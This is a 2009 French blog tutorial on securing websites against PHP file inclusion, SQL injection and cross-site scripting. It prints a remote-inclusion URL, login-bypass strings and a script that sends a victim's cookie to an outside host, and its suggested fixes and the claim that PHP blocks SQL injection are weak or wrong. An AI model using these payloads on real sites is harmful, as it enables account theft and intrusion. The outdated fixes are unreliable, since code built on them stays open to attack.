SECURISTATION DE SITES WEB

mercredi 22 avril 2009
par  Jerome ROBERT
popularité : 5%

SECURISTATION DE SITES
WEB
par e

Nous allons voir les failles les plus répendues dans les
sites web

1) faille include (php)

2) faille sql (ASP, JSP ?)

3) faille CSS (tous)

4) conclusion


1) faille include (pour php)

Le principal role de php est de faire des sites dynamiques,
mais beaucoup l’utilisent juste pour simplifier leur travail
d’interface.
Dans ce but, le site est composé d’une page principale,
contenant l’interface, et une multitude de pages avec seulement
le contenu. Les liens sont du type :

http://www.site.com/index.php?page=liens.php

Le principe de la faille consiste à exploiter la variable
$page, qui n’est soumise à aucun test si le site est
vulnérable. En effet, dans ce cas, le code php dans la page
index.php est du style :

include($page) ;

Ainsi, si on fait :

http://www.site.com/index.php?page=http://siteperso.net/hack.txt

php va télécharger le fichier http://siteperso.net/hack.txt
et l’interpréter du coté du site.
Pour exploiter cette faille il suffit d’écrire du code php dans
le fichier de votre site perso.

Une autre exploitation est la lecture de fichiers
inaccessibles, comme les .htaccess

sécurisation

Il faut vérifier si la variable $page contient une valeur pas
gentille. par exemple :

if(strstr($page, "http://")) $page = "intro.php" ; // eviter les pages distantes

face="Arial">if(strstr($page, "htaccess"))
$page = "intro.php" ; // eviter les .htaccess

if(! fileexists($page))
$page = "404.php" ; // erreur 404 personnalisée
(envoi de mail à l’admin, ...)

include($page) ;

voila.

2) faille sql (ASP, JSP ???)

Imaginons une page d’identification web en asp. Voilà un
exemple de page access.html

<form action="login.asp" method="post">
login : <input type="text" value="login1"><br>
pass : <input type="password" value="pass1"><br>
<input type="submit">
</form>

quand une personne rempli les valeurs et clique sur le bouton,
le lien invoque la page login.asp qui contient ce type de requete
SQL :

"SELECT * FROM base WHERE ’login’=’ "&Request.Form("login1")&" ’ AND ’pass’=’ "&Request.Form("pass1")& " ’ "
( si il y a une erreur c’est normal, je ne programme pas en asp ;o)

voila donc un exemple de requete une fois transformée :

" SELECT * FROM base WHERE ’login’=’e’ AND ’pass’=’monpass’ "

Bon, donc tout vas bien quand on met ce que le programmeur
attend comme login et mot de passe. Seulement, si on rentre un
mot de passe comme :

a’ or ’a’=’a

la requete SQL devient :

" SELECT * FROM base WHERE ’login’=’e’ AND ’pass’=’a’ or ’a’=’a’ "
( j’ai mi le pass en gras )

Et la requete renvoie toujours vrai car ’a’ = ’a’ est toujours
vrai ! Donc SQL renvoie le premier utilisateur de la base de
donnée !

On peut obtenir un acces à une partie protégée du site sans
mot de passe.

RQ : selon le code de la requete, le pass peut etre :

a’ or ’a’=’a
a" or "a"="a
a or a=a
ou mettez ce que vous voulez à la place de a ;o)

RQ2 : cette faille ne marche pas avec php car il rajoute des
antislashes ( \ ) devant tout les " et ’ , donc la requete
n’est pas modifiée.

sécurisation

il suffit de faire des tests sur les variables login1 et
pass1...

3) faille CSS (tous)

en fait cette faille est assez souvent trouvée sur de gros
serveurs (multimania), mais l’impact n’est pas énorme, ca
dépend des conditions.

voici par exemple, pour reprendre l’exemple de multimania, une
page qui sert à enlever une adresse d’une mailling-list :

// tous le code d’enlèvement

echo
"l’adresse $adresse a bien été retirée de la
liste" ;

La faille provient de la variable $adresse, dont on peut y
mettre du contenu compromettant. En effet, on peut y entrer du
code html voire du code SSI...

Mouais, vous allez dire. Bah oui, c’est bien joli mais c’est
pas une faille ca !
Et si, car si on met un lien dans un forum très coté ou sur irc
de ce style :

http://www.site.com/remove.php?adresse=<script language="javascript">var=document.cookie ;document.location="http://siteperso.net/cookie.php?c="+var;</script> ;

<font
size="2" face="Arial">( en fait il faut traduire les
caractères spéciaux en unicode )

là encore, c possible que
mon code javascript soit foireux, mais vous voyez ce que
je veux faire...

Il est donc possible, si quelqu’un clique sur le lien, de
récupérer son cookie, avec dans le cas de multimania le cookie
de session, donc possibilité de se logger sous le pseudo du gars
et donc acceder à l’administration de son site...

sécurisation

bah comme toujours, il faut vérifier le contenu de $adresse,
si elle contient le caractère < , la refuser.

4) Conclusion

Dans ces 3 exemples, la sécurisation tenait d’une règle d’or
que tout programmeur doit respecter ( pas seulement pour de la
prog web ) :

Ne JAMAIS faire confience aux données susceptibles
d’etres modifiées par l’utilisateur, ou celles que l’utilisateur
a remplies.

C’est une condition nécessaire pour une meilleur sécurité.

Il existe de nombreuses autres failles web, mais la plupart
sont évitées par le respect de cette règle.
En vrac :

- répertoires sans index ou sans .htaccess

- noms de répértoires ou fichiers (volontairement cachés) trop
évidents. Par exemple un fichier mails.txt d’une mailing list

- mots de passe de blaireaux

- présence d’autres scripts cgi buggués

- . . .

Mais de nouvelles failles apparaissent sans cesse, votre site
n’est jamais à l’abri. Meme si votre code est bon, votre serveur
web, de mail, ou votre systeme d’exploitation est susceptible de
contenir des failles, donc regardez les dernières bugs trouvés
et patchez sans cesse votre système...

Quel dur travail qu’est celui d’un admin... ;o)

par e


Commentaires  forum ferme

Navigation

Statistiques

Dernière mise à jour

mercredi 5 juillet 2017

Publication

264 Articles
Aucun album photo
Aucune brève
6 Sites Web
2 Auteurs

Visites

43 aujourd’hui
246 hier
531287 depuis le début
8 visiteurs actuellement connectés